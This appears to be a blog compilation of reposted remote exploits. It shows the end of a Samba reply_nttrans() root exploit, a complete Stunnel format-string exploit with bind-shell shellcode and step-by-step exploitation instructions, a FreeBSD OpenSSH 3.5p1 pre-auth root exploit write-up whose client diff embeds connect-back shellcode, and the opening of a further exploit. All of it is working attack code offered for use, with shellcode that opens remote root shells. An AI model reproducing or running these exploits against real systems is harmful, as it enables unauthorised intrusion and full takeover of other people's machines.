{ uint8 pad[3], totalparamcount[4], totaldatacount[4], paramcount[4], paramoffset[4], paramdisplace[4],

    datacount[4], dataoffset[4], datadisplace[4];

}; */

void nttrans_secondary_request(int fd)

{ char retbuf[TOTALCOUNT], packet[sizeof (struct nbt_session_header) + sizeof (struct smb_base_header) +

    sizeof (struct nttrans_secondary_request_header) + TOTALCOUNT];

  struct nttrans_secondary_request_header nt_hdr;

  unsigned long retaddr, jmptocode = 0x9090a1eb; // jmptocode = 0x90909ceb;

  int i;


  int size, totalparamcount = TOTALCOUNT, totaldatacount = 0,   

    paramcount = TOTALCOUNT, datacount = 0, paramdisplace = STACKBASE - PARAMBASE,

    datadisplace = 0, paramoffset = 68, dataoffset = 0;


  memset(&nt_hdr, '\0', sizeof (nt_hdr));

  retaddr = 0xbffff6eb;

  for (i = 0; i < TOTALCOUNT; i += 4) 

  { if (i == 0x100)

    { memcpy(retbuf + i, &jmptocode, 4);

    }

    else memcpy(retbuf + i, &retaddr, 4);

  }


//  memset(shellcode, 0xCC, sizeof (shellcode));

  memcpy(retbuf + 0x100 - sizeof (shellcode), shellcode, sizeof (shellcode));


  printf("sizeof packet: %i, parambase: 0x%08lx\n", sizeof (packet), PARAMBASE);


  construct_nbt_session_header(packet, SMB_SESSION, 0, sizeof (packet) - sizeof (struct nbt_session_header));

  construct_smb_base_header(packet + sizeof (struct nbt_session_header), SMB_NTTRANS2, 8, 1, tid, pid, uid, 1);

  

  memcpy(&nt_hdr.totalparamcount, &totalparamcount, sizeof (uint32));

  memcpy(&nt_hdr.totaldatacount, &totaldatacount, sizeof (uint32));

  memcpy(&nt_hdr.paramcount, &paramcount, sizeof (uint32));

  memcpy(&nt_hdr.datacount, &datacount, sizeof (uint32));

  memcpy(&nt_hdr.paramdisplace, &paramdisplace, sizeof (uint32));

  memcpy(&nt_hdr.datadisplace, &datadisplace, sizeof (uint32));

  memcpy(&nt_hdr.paramoffset, &paramoffset, sizeof (uint32));

  memcpy(&nt_hdr.dataoffset, &dataoffset, sizeof (uint32));

   

  memcpy(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header), &nt_hdr, sizeof (nt_hdr));

  memcpy(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header) + sizeof (nt_hdr), retbuf, sizeof (retbuf));


  usleep(5000);

  

  if ((size = write(fd, packet, sizeof (packet))) == -1)

  { close(fd);  

    fprintf(stderr, "write() failed, reason: '%s' (code %i)\n", strerror(errno), errno);

    exit(-errno);

  }

  if (size != sizeof (packet))

  { close(fd);

    fprintf(stderr, "couldn't write entire packet, aborting!\n");

    exit(-1);

  }

  fprintf(stderr, "secondary nttrans packet sent!\n");

}


// voor alle idioten onder ons.

void usage(char *name)

{ printf("\nusage: %s -h hostname [-p port] -t target [-l]\n\n-h\tspecify target hostname\n-p\tspecify target " \

   "port (defaults to 139)\n-t\tspecify target's magic numbers\n-l\tshow list of targets\n\n", name);

}


void userbreak_handler(int x)

{ userbreak = 1;

}


int main(int argc, char **argv)

{ int fd, port = -1, opt, readlen;

  unsigned long target_ip;

  struct sockaddr_in s_in;

  struct hostent *he;

  char *host = NULL, *me, readbuf[4096];

  fd_set readfds;


  if (argc >= 1) 

  { me = argv[0];

    if (strchr(me, '/') != NULL) me = strrchr(me, '/') + 1;

  }

  else me = "sambash";


  fprintf(stderr, "\nsambash -- samba <= 2.2.7a reply_nttrans() linux x86 remote root exploit by flatline@blackhat.nl\n\n");


  while ((opt = getopt(argc, argv, "h:p:b:")) != EOF)

  { switch (opt)

    { case 'h': { if (!inet_aton(optarg, (struct in_addr *)&target_ip))

 { if ((he = gethostbyname(optarg)) == NULL)

   { fprintf(stderr, "unable to resolve host '%s', reason: %s (code %i)\n", optarg, hstrerror(h_errno), h_errno);

     exit(-h_errno);

   }

   memcpy((void *)&target_ip, he->h_addr_list[0], he->h_length);

         }

 host = optarg;

} break;

      case 'p': { port = atoi(optarg);

         if (port < 0 || port > 65535)

 { fprintf(stderr, "invalid port specified.\n");

   exit(-1);

 }

  } break;

      case 'b': PARAMBASE += atoi(optarg); break;

      default : { usage(me);

 exit(0);

} break;

    }

  }


  if (host == NULL)

  { fprintf(stderr, "no hostname specified.\n");

    usage(me);

    exit(-1);

  }

  if (port == -1) port = SMBD_PORT;


  signal(SIGINT, userbreak_handler);


  while (!userbreak)

  { memset(&s_in, 0, sizeof (s_in));

    s_in.sin_family = AF_INET;

    s_in.sin_port = htons(port);

    s_in.sin_addr.s_addr = target_ip;


    if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)

    { fprintf(stderr, "socket() failed, reason: '%s' (code %i)\n", strerror(errno), errno); 

      exit(-errno);

    }


    if (connect(fd, (struct sockaddr *)&s_in, sizeof (s_in)) == -1)

    { fprintf(stderr, "connect() to host '%s:%i' failed, reason: '%s' (code %i)\n", host, port, strerror(errno), errno); 

      exit(-errno);

    }


    // register name

    nbt_session_request(fd, "BOSSA", "SAMBA");

    process_nbt_session_reply(fd);


    // protocol negotiation

    negprot_request(fd);

    process_negprot_reply(fd);


    // session setup

    sesssetupx_request(fd);

    process_sesssetupx_reply(fd);


    // tree connection setup

    tconx_request(fd);

    process_tconx_reply(fd);


    // nttrans packet sturen

    nttrans_primary_request(fd);


    nttrans_secondary_request(fd);


    usleep(750000);


    if (close(fd) == -1)

    { fprintf(stderr, "close() failed, reason: '%s' (code %i)\n", strerror(errno), errno); 

      exit(-errno);

    }


    memset(&s_in, 0, sizeof (s_in));

    s_in.sin_family = AF_INET;

    s_in.sin_port = htons(SHELLCODE_PORT);

    s_in.sin_addr.s_addr = target_ip;


    if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)

    { fprintf(stderr, "socket() failed, reason: '%s' (code %i)\n", strerror(errno), errno); 

      exit(-errno);

    }


    if (connect(fd, (struct sockaddr *)&s_in, sizeof (s_in)) == -1)

    { if (close(fd) == -1)

      { fprintf(stderr, "close() failed, reason: '%s' (code %i)\n", strerror(errno), errno); 

        exit(-errno);

      }

      PARAMBASE += BRUTESTEP;

      continue;

    }

    

    printf("\n\n** veel plezier.\n\n");

    

    FD_ZERO(&readfds);

    while (!userbreak)

    { FD_SET(fileno(stdin), &readfds);

      FD_SET(fd, &readfds);

    

      if (select(fd + 1, &readfds, NULL, NULL, NULL) < 0)

      { fprintf(stderr, "shell loop aborted because of error code %i ('%s')\n", errno, strerror(errno));

        break;

      }

      

      if (FD_ISSET(fileno(stdin), &readfds))

      { int writelen;

   

        readlen = read(fileno(stdin), readbuf, sizeof (readbuf));

        if (readlen == -1)

        { fprintf(stderr, "read() failed with error code %i ('%s')\n", errno, strerror(errno));

          exit(-1);

        }

        if ((writelen = write(fd, readbuf, readlen)) == -1)

        { fprintf(stderr, "write() failed with error code %i ('%s')\n", errno, strerror(errno));

          exit(-1);

        }

        FD_ZERO(&readfds);

        continue;

      }

      if (FD_ISSET(fd, &readfds))

      { if ((readlen = read(fd, readbuf, sizeof (readbuf))) == -1)

        { fprintf(stderr, "shell loop aborted because of error code %i ('%s')\n", errno, strerror(errno));

          break;

        }

        write(fileno(stderr), readbuf, readlen);

        FD_ZERO(&readfds);   

        continue;

      }

    }


  }


  printf("user break.\n");

  signal(SIGINT, SIG_DFL);


  return 0;

}


Posted by k1rha
2012. 5. 11. 09:47

/*

* Stunnel < 3.22 remote exploit

* by ^sq/w00nf - deltha [at] analog.ro

* Contact: deltha@analog.ro

* Webpage: http://www.w00nf.org/^sq/

*

* ey ./w00nf-stunnel contribs - kewlthanx :

* nesectio, wsxz, soletario, spacewalker, robin, luckyboy, hash, nobody, ac1d, and not @ the end: bajkero

*

* You also need netcat and format strings build utility (from my webpage)

* Compile: gcc -w -o w00nf-stunnel w00nf-stunnel.c

*

* . . .. ......................................... ...

* . ____ ____ _____ :.:.:

* : _ __/ __ \/ __ \____ / __/ :..

* :.. | | /| / / / / / / / / __ \/ /_ :

* ..:.. | |/ |/ / /_/ / /_/ / / / / __/ :

* :.: :.. |__/|__/\____/\____/_/ /_/_/ .

* : : :..

* :.: :............................................... .. . . 

* T . E . A . M 

* POC - Tested remotely on linux 

* Stunnel is a program that allows you to encrypt arbitrary TCP connections inside SSL 

* Visit http://www.stunnel.org for details

*

* I didn't add a search function or bruteforce attack because the vulnerability does'nt allow you

* to grab the remote stack.

*

* Description of this exploit:

* This exploit puts a payload on a specified port. When a remote user connects to your machine 

* using stunnel on the specified port, the exploit executes this payload and binds a shell to the

* remote users machine on port 5074.

* Summary: 

* Malicious servers could potentially run code as the owner of an Stunnel process when using 

* Stunnel's protocol negotiation feature in client mode. 

*

* Description of vulnerability: 

* Stunnel is an SSL wrapper able to act as an SSL client or server, 

* enabling non-SSL aware applications and servers to utilize SSL encryption. 

* In addition, Stunnel has the ability to perform as simple SSL encryption/decryption 

* engine. Stunnel can negotiate SSL with several other protocols, such as 

* SMTP's "STARTTLS" option, using the '-n protocolname' flag. Doing so 

* requires that Stunnel watches the initial protocol handshake before 

* beginning the SSL session. 

* There are format string bugs in each of the smtp, pop, and nntp 

* client negotiations as supplied with Stunnel versions 3.3 up to 3.21c. 

*

* No exploit is currently known, but the bugs are most likely exploitable. 

* Impact: 

* If you use Stunnel with the '-n smtp', '-n pop', '-n nntp' options 

* in client mode ('-c'), a malicous server could abuse the format 

* string bug to run arbitrary code as the owner of the Stunnel 

* process. The user that runs Stunnel depends on how you start 

* Stunnel. It may or may not be root -- you will need to check 

* how you invoke Stunnel to be sure. 

* There is no vulnerability unless you are invoking Stunnel with 

* the '-n smtp', '-n pop', or '-n nntp' options in client mode. 

* There are no format string bugs in Stunnel when it is running as an SSL 

* server. 

*

* Mitigating factors: 

* If you start Stunnel as root but have it change userid to some other 

* user using the '-s username' option, the Stunnel process will be 

* running as 'username' instead of root when this bug is triggered. 

* If this is the case, the attacker can still trick your Stunnel process 

* into running code as 'username', but not as root. 

* Where possible, we suggest running Stunnel as a non-root user, either 

* using the '-s' option or starting it as a non-privileged user. 

*

* Triggering this vulnerability - example for kidz:

* Obtain a shell account on to-be-hacked's server and perform the following commands:

* sq@cal013102: whereis stunnel

* stunnel: /usr/sbin/stunnel

* change directory to where is stunnel

* Obtain vsnprintf's R_386_JUMP_SLOT:

* sq@cal013102:~/stunnel-3.20$ /usr/bin/objdump --dynamic-reloc ./stunnel |grep printf

* 08053470 R_386_JUMP_SLOT fprintf

* ---->080534a8 R_386_JUMP_SLOT vsnprintf

* 080535a4 R_386_JUMP_SLOT snprintf

* 08053620 R_386_JUMP_SLOT sprintf

* open 2 terminals

* in the first terminal make netcat connect to a port (eg 252525)

* sq@cal013102:~/stunnel-3.20$ nc -p 252525 -l 

* in the second terminal (remote) simulate attack 

* ./stunnel -c -n smtp -r localhost:252525

* in the first terminal with nc insert a specially crafted string to grep eatstack value

* AAAABBBB%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|

* in the second terminal (remote) it will return the stack values and see at which position 

* 41414141 and 424242 appeared

* AAAABBBB|bffff868|bffffb60|bffffece|bffffed3|80503ae|40275580|4016bfc4|

* 4027f3c4|41414141|42424242|257c7825|78257c78|7c78257c|

* 257c7825|78257c78|7c78257c| ->414141=9 and 424242=10

* try again with to see if eatstack value is 9 AAAABBBB%9$x%10$x and it will return AAAABBBB4141414142424242

* put the address obtained with objdump in hex little endian format \xa8\x34\x05\x08 and last value +2 \xaa\x34\x05\x08

* (a8+2=aa) and generate the decimal value of format string after you got the middle of nops value on stack 0xbffff89b

* with build, a program attached to this exploit.

* ./build 080534a8 0xbffff89b 9

* adr : 134558888 (80534a8)

* val : -1073743717 (bffff89b)

* valh: 49151 (bfff)

* vall: 63643 (f89b)

* [ª¨%.49143x%9$hn%.14492x%10$hn] (35)

* ª¨%.49143x%9$hn%.14492x%10$hn

* The resulting string is %.49143x%9$hn%.14492x%10$hn -> 

* "'`%.32759u%9\$hn%.32197u%10\$hn replace eatstack 10 with 9 otherwise it won't work

* eg "'`%.32759u%10\$hn%.32197u%9\$hn

* Put the payload in a file echo `perl -e 'print "\xc4\x35\x05\x08\xc6\x35\x05\x08"'`%.32759u%10\$hn%.32197u%9\$hn > x

* Bind the payload to a port ./netcat -p 252525 -l <x

* Simulate the payload attack ./stunnel -c -n smtp -r localhost:252525

* Add your own crafted format in the exploit:

* char fmtDEBIAN30[]="\xa8\x34\x05\x08\xaa\x34\x05\x08%.49143x%10\$hn%.14492x%9\$hn"; 080534a8 vsnprintf

* char fmtYOUROWN[]=""; R_386_JUMP_SLOT vsnprintf 

* Simulate the payload attack with this exploit ./w00nf-stunnel -t 6 -p 252525 t6 would be your custom payload

* after you added your string in the exploit.

* If stunnel was compiled with gdb support and you set ulimit -c 9024 or whatever to coredump on your terminal

* then stunnel will coredump if you didn't guess the exact stackvalue in the middle of nops.

* If stunnel wasn't compiled with gdb support then download it from the stunnel website

* and compile with gdb support. 

* Once you have downloaded it run './configure edit Makefile' , and where you see 'CFLAGS' add '-g -ggdb3'

* eg. 'cat Makefile |grep CFLAGS'

* CFLAGS=-g -ggdb3 -O2 -Wall -I/usr/local/ssl/include -DVERSION=\"3.20\" -DHAVE_OPENSSL=1 -Dssldir=\"/usr/local/ssl\"

* -DPEM_DIR=\"\" -DRANDOM_FILE=\"/dev/urandom\" -DSSLLIB_CS=0 -DHOST=\"i586-pc-linux-gnu\" -DHAVE_LIBDL=1 

* DHAVE_LIBPTHREAD=1 -DHAVE_LIBUTIL=1 -DHAVE_LIBWRAP=1 etcetc

* Open core in gdb sq@cal013102:~/stunnel-3.20$gdb ./stunnel core.2411

* x/10i $esp and press enter a couple of times till you find 'nop nop nop nop nop nop'.

* Get the stack address in the middle of nops, 0xbffff89b is my address

* and build (9 is eatstack) again with the ./build utility

* Rebuild and repeat.

* ./build 080534a8 0xbffff89b 9

* Put the payload in a file echo `perl -e 'print "\xc4\x35\x05\x08\xc6\x35\x05\x08"'`%.32759u%10\$hn%.32197u%9\$hn > x

* ./w00nf-stunnel -t 6 -p 252525 t6 is your custom payload and it will bind a shell on 5074 :)

* If it worked then add your own crafted format in the exploit

* char fmtDEBIAN30[]="\xa8\x34\x05\x08\xaa\x34\x05\x08%.49143x%10\$hn%.14492x%9\$hn"; 080534a8 vsnprintf

* char fmtYOUROWN[]="\xa8\x34\x05\x08\xaa\x34\x05\x08%.49143x%10\$hn%.14492x%9\$hn"; R_386_JUMP_SLOT vsnprintf 

*

*/


#include <fcntl.h>

#include <netdb.h>

#include <sys/stat.h>

#include <sys/types.h>

#include <unistd.h>

#include <stdio.h>

#include <string.h>

#include <getopt.h>

#include <stdlib.h>

#include <memory.h>

#include <errno.h>

#include <syslog.h>


int MAX;

char linuxshellcode[] =

/* <priv8security>: bind@5074 */

"\x90\x90\x90\x90\x90" /* nop */

"\x90\x90\x90\x90\x90" /* nop */

"\x90\x90\x90\x90\x90" /* nop */

"\x90\x90\x90\x90\x90" /* nop */

"\x90\x90\x90\x90\x90" /* nop */

"\x90\x90\x90\x90\x90" /* nop */

"\x90\x90\x90\x90\x90" /* nop */

"\x90\x90\x90\x90\x90" /* nop */

"\x90\x90\x90\x90\x90" /* nop */

"\x90\x90\x90\x90\x90" /* nop */

"\x90\x90\x90\x90\x90" /* nop */

"\x90\x90\x90\x90\x90" /* nop */

"\x90\x90\x90\x90\x90" /* nop */

"\x90\x90\x90\x90\x90" /* nop */

"\x90\x90\x90\x90\x90\x90" /* nop */

"\x31\xc0" /* xor %eax,%eax */

"\x50" /* push %eax */

"\x40" /* inc %eax */

"\x89\xc3" /* mov %eax,%ebx */

"\x50" /* push %eax */

"\x40" /* inc %eax */

"\x50" /* push %eax */

"\x89\xe1" /* mov %esp,%ecx */

"\xb0\x66" /* mov $0x66,%al */

"\xcd\x80" /* int $0x80 */

"\x31\xd2" /* xor %edx,%edx */

"\x52" /* push %edx */

"\x66\x68\x13\xd2" /* pushw $0xd213 */

"\x43" /* inc %ebx */

"\x66\x53" /* push %bx */

"\x89\xe1" /* mov %esp,%ecx */

"\x6a\x10" /* push $0x10 */

"\x51" /* push %ecx */

"\x50" /* push %eax */

"\x89\xe1" /* mov %esp,%ecx */

"\xb0\x66" /* mov $0x66,%al */

"\xcd\x80" /* int $0x80 */

"\x40" /* inc %eax */

"\x89\x44\x24\x04" /* mov %eax,0x4(%esp,1) */

"\x43" /* inc %ebx */

"\x43" /* inc %ebx */

"\xb0\x66" /* mov $0x66,%al */

"\xcd\x80" /* int $0x80 */

"\x83\xc4\x0c" /* add $0xc,%esp */

"\x52" /* push %edx */

"\x52" /* push %edx */

"\x43" /* inc %ebx */

"\xb0\x66" /* mov $0x66,%al */

"\xcd\x80" /* int $0x80 */

"\x93" /* xchg %eax,%ebx */

"\x89\xd1" /* mov %edx,%ecx */

"\xb0\x3f" /* mov $0x3f,%al */

"\xcd\x80" /* int $0x80 */

"\x41" /* inc %ecx */

"\x80\xf9\x03" /* cmp $0x3,%cl */

"\x75\xf6" /* jne 80a035d <priv8security+0x3d> */

"\x52" /* push %edx */

"\x68\x6e\x2f\x73\x68" /* push $0x68732f6e */

"\x68\x2f\x2f\x62\x69" /* push $0x69622f2f */

"\x89\xe3" /* mov %esp,%ebx */

"\x52" /* push %edx */

"\x53" /* push %ebx */

"\x89\xe1" /* mov %esp,%ecx */

"\xb0\x0b" /* mov $0xb,%al */

"\xcd\x80"; /* int $0x80 */


char fmtRH72[]="\x50\x71\x05\x08\x52\x71\x05\x08%.49143x%4\$hn%.12881x%3\$hn"; /* 08057150 R_386_JUMP_SLOT vsnprintf */

char fmtRH73[]="\xe8\x69\x05\x08\xea\x69\x05\x08%.49143x%4\$hn%.12982x%3\$hn"; /* 080569e8 R_386_JUMP_SLOT vsnprintf */

char fmtRH80[]="\x28\x69\x05\x08\x2a\x69\x05\x08%.49143x%4\$hn%.12815x%3\$hn"; /* 08056928 R_386_JUMP_SLOT vsprintf */

char fmtMDK90[]="\xf8\x23\x05\x08\xfa\x23\x05\x08%.49143x%4\$hn%.13321x%3\$hn"; /* 080523f8 R_386_JUMP_SLOT vsnprintf */

char fmtSLACK81[]="\xdc\x69\x05\x08\xde\x69\x05\x08%.49143x%10\$hn%.12082x%9\$hn"; /* 080569dc R_386_JUMP_SLOT vsnprintf */

char fmtDEBIAN30[]="\xa8\x34\x05\x08\xaa\x34\x05\x08%.49143x%10\$hn%.14492x%9\$hn"; /* 080534a8 R_386_JUMP_SLOT vsnprintf */

char fmtYOUROWN[]=""; /* R_386_JUMP_SLOT vsnprintf */


char c;

struct os {

int num;

char *ost;

char *shellcode;

char *format;

int flag;

};


struct os plat[] =

{

{

0,"Red Hat Linux release 7.2 stunnel-3.20.tar.gz",

linuxshellcode,fmtRH72,11

},

{

1,"Red Hat Linux release 7.3 stunnel-3.20.tar.gz",

linuxshellcode,fmtRH73,11

},

{

2,"Red Hat Linux release 8.0 stunnel-3.20.tar.gz",

linuxshellcode,fmtRH80,11

},

{

3,"Mandrake Linux release 9.0 stunnel-3.20.tar.gz",

linuxshellcode,fmtMDK90,11

},

{

4,"Slackware Linux release 8.1 stunnel-3.20.tar.gz",

linuxshellcode,fmtSLACK81,5

},

{

5,"Debian GNU release 3.0 stunnel-3.20.tar.bz2",

linuxshellcode,fmtDEBIAN30,5

},

{

6,"Your custom distro stunnel-3.20.tar.bz2",

linuxshellcode,fmtYOUROWN,5

}


};


void usage(char *argument);

int main(argc,argv)

int argc;

char *argv[];

{


int type=0;

int flag=plat[type].flag;

extern char *optarg;

int cnt;

char newstring[300];

int port = 994;

const char* sploitdata_filename = "sploitdata.spl"; 

static int fd[2];

static pid_t childpid;

static char str_port[6];


void write_sploit_data (char* entry)

{

int fd = open (sploitdata_filename, O_WRONLY | O_CREAT | O_APPEND, 0660);

write (fd, entry, strlen (entry));

write (fd, "\n", 1);

fsync (fd);

close (fd);

}

if(argc == 1) 

usage(argv[0]);

if(argc == 2) 

usage(argv[0]);

if(argc == 3) 

usage(argv[0]);

while ((c = getopt(argc, argv, "h:p:t:v")) > 0 ){

switch (c) {

case 't':

type = atoi(optarg);

if(type>6) /* 0,1,2,3,4,5,6 */

{

(void)usage(argv[0]);

}

break;

case 'p':

port = atoi(optarg);

break;

case 'h':

usage(argv[0]);

case '?':

case ':':

exit(-1);

}

}

MAX=strlen(plat[type].format)+strlen(plat[type].shellcode);

fprintf(stdout,"Remote exploit for STUNNEL <3.22\nby ^sq/w00nf - deltha [at] analog.ro\n");

fprintf(stdout,"[*] target: %s\n",plat[type].ost);

fprintf(stdout,"[*] maxlenght: %d\n", MAX);

unlink (sploitdata_filename);

strcpy(newstring, plat[type].format);

strcat(newstring, plat[type].shellcode);

write_sploit_data(newstring);

sprintf((char *) &str_port, "%d", port);

printf("[*] host: localhost\n");

printf("[*] port: %s\n", str_port); 

printf("[*] waiting: jackass should connect to our port\n");

printf("[*] next: after he connects press ctrl-c\n"); 

printf("[*] next: you should try to connect to his port 5074 - nc 1.2.3.4 5074\n"); 

pipe(fd);

if (( childpid=fork())==0) { /* cat is the child */

dup2(fd[1],STDOUT_FILENO);

close(fd[0]);

close(fd[1]);

execl("/bin/cat","cat",sploitdata_filename,NULL);

perror("The exec of cat failed");

} else { /* netcat is the parent */


dup2(fd[0], STDIN_FILENO);

close(fd[0]);

close(fd[1]);

execl("/usr/bin/nc", "nc", "-n", "-l", "-p", str_port, NULL);

perror("the exec of nc failed");

}

printf("[*] next: now you should try to connect to his port 5074\n"); 

exit(0);

}


void usage(char *argument)

{

fprintf(stdout,"Usage: %s -options arguments\n",argument);

fprintf(stdout,"Remote exploit for STUNNEL <3.22\n"

"by ^sq/w00nf - deltha [at] analog.ro\nUsage: %s [-p <port> -t <targettype>]\n"

"\t-p <port> - Local binded port where the remote stunnel connects\n"

"\t-t <target> - Target type number\n", argument);

fprintf(stdout,"\t-Target Type Number List-\n");

fprintf(stdout," {0} Red Hat Linux release 7.2 "

" stunnel-3.20.tar.gz\n");

fprintf(stdout," {1} Red Hat Linux release 7.3 "

" stunnel-3.20.tar.gz\n");

fprintf(stdout," {2} Red Hat Linux release 8.0 "

" stunnel-3.20.tar.gz\n");

fprintf(stdout," {3} Mandrake Linux release 9.0 "

" stunnel-3.20.tar.gz\n");

fprintf(stdout," {4} Slackware Linux release 8.1 "

" stunnel-3.20.tar.gz\n");

fprintf(stdout," {5} Debian GNU release 3.0 "

" stunnel-3.20.tar.gz\n");

fprintf(stdout," {6} Your custom distro "

" stunnel-3.20.tar.gz\n");

fprintf(stdout," Example1: %s -t 1 -p 252525\n",argument);

exit(0);

}


Posted by k1rha
2012. 4. 15. 02:56

OpenSSH 3.5p1 Remote Root Exploit for FreeBSD

Discovered and Exploited By Kingcope

Year 2011

--

 

The last two days I have been investigating a vulnerability in OpenSSH

affecting at least FreeBSD 4.9 and 4.11. These FreeBSD versions run

OpenSSH 3.5p1 in the default install.

 

The sshd banner for 4.11-RELEASE is "SSH-1.99-OpenSSH_3.5p1 FreeBSD-20060930".

 

A working Remote Exploit which spawns a root shell remotely and

previous to authentication was developed.

 

The bug can be triggered both through ssh version 1 and ssh version 2

using a modified ssh client. During the investigation of the vulnerability it was found that

the bug resides in the source code file "auth2-pam-freebsd.c".

 

http://www.freebsd.org/cgi/cvsweb.cgi/src/crypto/openssh/Attic/auth2-pam-freebsd.c

 

This file does not exist in FreeBSD releases greater than 5.2.1. The last commit

is from 7 years ago.

 

Specifically the bug follows a code path in the PAM Authentication Thread inside this

source code, "pam_thread()". It could not be verified if the bug is inside this

(third party, freebsd) OpenSSH code or in the FreeBSD pam library itself.

 

Both the challenge response (ssh version 1) and keyboard interactive via pam

(ssh version 2) authentications go through this code path.

 

By supplying a long username to the daemon the sshd crashes.

 

h4x# sysctl kern.sugid_coredump=1

kern.sugid_coredump: 0 -> 1

 

root@debian:~# ssh -l`perl -e 'print "A" x 100'` 192.168.32.138

 

h4x# tail -1 /var/log/messages

Jun 30 16:01:25 h4x /kernel: pid 160 (sshd), uid 0: exited on signal 11 (core dumped)

 

Looking into the coredump reveals:

 

h4x# gdb -c /sshd.core

GNU gdb 4.18 (FreeBSD)

Copyright 1998 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB.  Type "show warranty" for details.

This GDB was configured as "i386-unknown-freebsd".

Core was generated by `sshd'.

Program terminated with signal 11, Segmentation fault.

#0  0x28092305 in ?? ()

(gdb) x/1i $eip

0x28092305:     (bad)

 

The sshd crahes at a place with illegal instructions. It looks like it depends

on how the sshd is started. Starting the sshd from the console as root and running

the ssh client with long username again reveals:

 

h4x# killall -9 sshd

h4x# /usr/sbin/sshd

 

root@debian:~# ssh -l`perl -e 'print "A" x 100'` 192.168.32.138

 

h4x# gdb -c /sshd.core

GNU gdb 4.18 (FreeBSD)

Copyright 1998 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB.  Type "show warranty" for details.

This GDB was configured as "i386-unknown-freebsd".

Core was generated by `sshd'.

Program terminated with signal 11, Segmentation fault.

#0  0x41414141 in ?? ()

(gdb) x/10i $eip

0x41414141:     Cannot access memory at address 0x41414141.

 

As you can see in the above gdb output we can control EIP completely.

If someone finds out on what this behaviour depends, especially why EIP can

be controlled when starting sshd in the console and can not be easily controlled

when being run from the boot sequence, please drop me an email at

isowarez.isowarez.isowarez (at) googlemail.com

 

Anyhow this procedure shows that the sshd can be exploited because the instruction

pointer can be fully controlled.

 

The developed exploit (Proof of Concept only) is a patched OpenSSH 5.8p2 client.

Using a reverse shellcode it will spawn a rootshell.

 

Only one offset is needed, the position of the shellcode can be found the following way:

 

h4x# gdb -c /sshd.core

GNU gdb 4.18 (FreeBSD)

Copyright 1998 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB.  Type "show warranty" for details.

This GDB was configured as "i386-unknown-freebsd".

Core was generated by `sshd'.

Program terminated with signal 11, Segmentation fault.

#0  0x41414141 in ?? ()

(gdb) set $x=0x08071000

(gdb) while(*++$x!=0x90909090)

 >end

(gdb) x/10b $x

 

The printed address is the beginning of the shellcode nopsled.

 

Attached is the Proof of Concept as a diff to OpenSSH-5.8p2.

 

It roughly does the following:

 

root@debian:~# ./ssh -1 192.168.32.138

 

root@debian:~# nc -v -l -p 10000

listening on [any] 10000 ...

192.168.32.138: inverse host lookup failed: Unknown host

connect to [192.168.32.128] from (UNKNOWN) [192.168.32.138] 1038

uname -a;id;

FreeBSD h4x.localdomain 4.11-RELEASE FreeBSD 4.11-RELEASE #0: Fri Jan 21 17:21:22 GMT 2005     root (at) perseus.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC  i386

uid=0(root) gid=0(wheel) groups=0(wheel)

 

--

 

root@debian:~# diff openssh-5.8p2/sshconnect1.c openssh-5.8p2_2/sshconnect1.c

667a668,717

> // Connect Back Shellcode

>

> #define       IPADDR  "\xc0\xa8\x20\x80"

> #define PORT  "\x27\x10"              /* htons(10000) */

>

> char sc[] =

>    "\x90\x90"

>    "\x90\x90"

>    "\x31\xc9"                 // xor    ecx, ecx

>    "\xf7\xe1"                 // mul    ecx

>    "\x51"                     // push   ecx

>    "\x41"                     // inc    ecx

>    "\x51"                     // push   ecx

>    "\x41"                     // inc    ecx

>    "\x51"                     // push   ecx

>    "\x51"                     // push   ecx

>    "\xb0\x61"                 // mov    al, 97

>    "\xcd\x80"                 // int    80h

>    "\x89\xc3"                 // mov    ebx, eax

>    "\x68"IPADDR                       // push   dword 0101017fh

>    "\x66\x68"PORT             // push   word 4135

>    "\x66\x51"                 // push   cx

>    "\x89\xe6"                 // mov    esi, esp

>    "\xb2\x10"                 // mov    dl, 16

>    "\x52"                     // push   edx

>    "\x56"                     // push   esi

>    "\x50"                     // push   eax

>    "\x50"                     // push   eax

>    "\xb0\x62"                 // mov    al, 98

>    "\xcd\x80"                 // int    80h

>    "\x41"                     // inc    ecx

>    "\xb0\x5a"                 // mov    al, 90

>    "\x49"                     // dec    ecx

>    "\x51"                     // push   ecx

>    "\x53"                     // push   ebx

>    "\x53"                     // push   ebx

>    "\xcd\x80"                 // int    80h

>    "\x41"                     // inc    ecx

>    "\xe2\xf5"                 // loop   -10

>    "\x51"                     // push   ecx

>    "\x68\x2f\x2f\x73\x68"     // push   dword 68732f2fh

>    "\x68\x2f\x62\x69\x6e"     // push   dword 6e69622fh

>    "\x89\xe3"                 // mov    ebx, esp

>    "\x51"                     // push   ecx

>    "\x54"                     // push   esp

>    "\x53"                     // push   ebx

>    "\x53"                     // push   ebx

>    "\xb0\xc4\x34\xff"

>    "\xcd\x80";                // int    80h

>

679a730,737

>       char buffer[8096];

>

>       // Offset is for FreeBSD-4.11 RELEASE OpenSSH 3.5p1

>       memcpy(buffer, "AAAA\x58\xd8\x07\x08""CCCCDDDDEEEE\xd8\xd8\x07\x08""GGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOO", 24);

>       memset(buffer+24, '\x90', 5000);

>       memcpy(buffer+24+5000, sc, sizeof(sc));

>       server_user=buffer;

>

690a749

>

 

Cheers,

Kingcope

 

 

A statically linked linux binary of the exploit can be found below attached is a diff to openssh-5.8p2.

 

the statically linked binary can be downloaded from http://isowarez.de/ssh_0day

Mirror: http://www.exploit-db.com/sploits/ssh_0day.tar.gz

 

run like ./ssh -1 -z <yourip> <target>

setup a netcat, port 443 on yourip first


Posted by k1rha
2012. 4. 15. 02:56

/*  


 * i-CAN-haz-MODHARDEN.c  


 *  


